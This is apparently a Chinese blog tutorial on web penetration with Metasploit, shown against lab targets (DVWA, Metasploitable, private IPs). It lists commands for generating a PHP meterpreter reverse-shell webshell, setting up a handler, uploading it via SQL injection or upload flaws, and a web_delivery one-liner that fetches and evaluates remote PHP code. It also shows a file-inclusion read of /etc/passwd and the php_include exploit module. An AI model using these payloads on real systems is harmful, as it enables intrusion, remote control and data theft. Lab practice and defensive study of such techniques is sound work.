msf生成webshell_MSF之Web渗透

WebShellroot@kali:~# msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.80.163 LPORT=3333 -f raw -o a.php  生成a.php

msf > use exploit/multi/handler

msf exploit(handler) > set payload php/meterpreter/reverse_tcp

msf exploit(handler) > set lhost 192.168.80.163

msf exploit(handler) > set lport 3333

msf exploit(handler) > exploit

通过sql注入写权限、上传漏洞等,将a.php上传到目标主机的web目录下;

通过浏览器访问a.php。http://192.168.80.33/a.php;

MSF会获得目标主机meterpreter类型的Shell。

sql注入

sqlmap的--os-pwn参数,可以获得目标的meterpreter类型的shell。

exploit/multi/script/web_delivery模块,配合命令执行漏洞使用msf exploit(handler) > use exploit/multi/script/web_delivery

msf exploit(web_delivery) > set payload php/meterpreter/reverse_tcp

msf exploit(web_delivery) > set lhost 192.168.80.163

msf exploit(web_delivery) > set uripath /

msf exploit(web_delivery) > set srvport 80

msf exploit(web_delivery) > set target 1

在存在命令执行漏洞的网站上,执行下面的命令,MSF会获得目标主机的Shell。php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.80.167/'));"

文件包含漏洞---exploit/unix/webapp/php_include

环境准备:

dvwa的low级别代码默认存在本地文件包含漏洞;但是不存在远程文件包含漏洞,我们需要自己设置。

http://192.168.80.135/dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd

从phpinfo中获取到如下信息。

本地配置文件路径

在metasploitable上编辑/etc/php5/cgi/php.ini文件,将allow_url_fopen和allow_url_include都设置成On,然后重启Apache服务。

sudo /etc/init.d/apache2 restart

漏洞利用过程:msf > use exploit/unix/webapp/php_include

msf exploit(php_include) > set rhost 192.168.80.135

msf exploit(php_include) > set path /dvwa/vulnerabilities/fi

msf exploit(php_include) > set phpuri /?page=XXpathXX

msf exploit(php_include) > set headers "Cookie: security=low; PHPSESSID=69fb8940243aa75ba98a8e6698139671"

msf exploit(php_include) > set payload php/meterpreter/reverse_tcp

msf exploit(php_include) > set lhost 192.168.80.163

exploit获得shell

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值